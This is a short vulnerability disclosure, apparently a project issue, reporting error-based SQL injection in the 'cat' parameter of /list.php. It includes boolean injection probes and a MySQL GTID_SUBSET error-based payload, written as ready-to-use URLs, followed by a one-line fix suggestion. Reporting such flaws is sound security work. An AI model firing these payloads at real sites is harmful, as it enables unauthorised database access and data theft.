There is a vulnerability in your project - SQL injection

[zhutoujun]

Code Adress：/list.php
Type：SQL injection error-based
Parameter：cat
Code：

exploit：
http://debug1.com//list.php?cat=1 and 1=1
http://debug1.com//list.php?cat=1 and 1=2

https://127.0.0.1/list.php?cat=1 AND GTID_SUBSET(CONCAT(0x7176707071,(SELECT (ELT(2051=2051,1))),0x716b7a7171),2051)

Repair suggestion: intercept the SQL injection request that adds the get post parameter to the program, or escape or preprocess the program SQL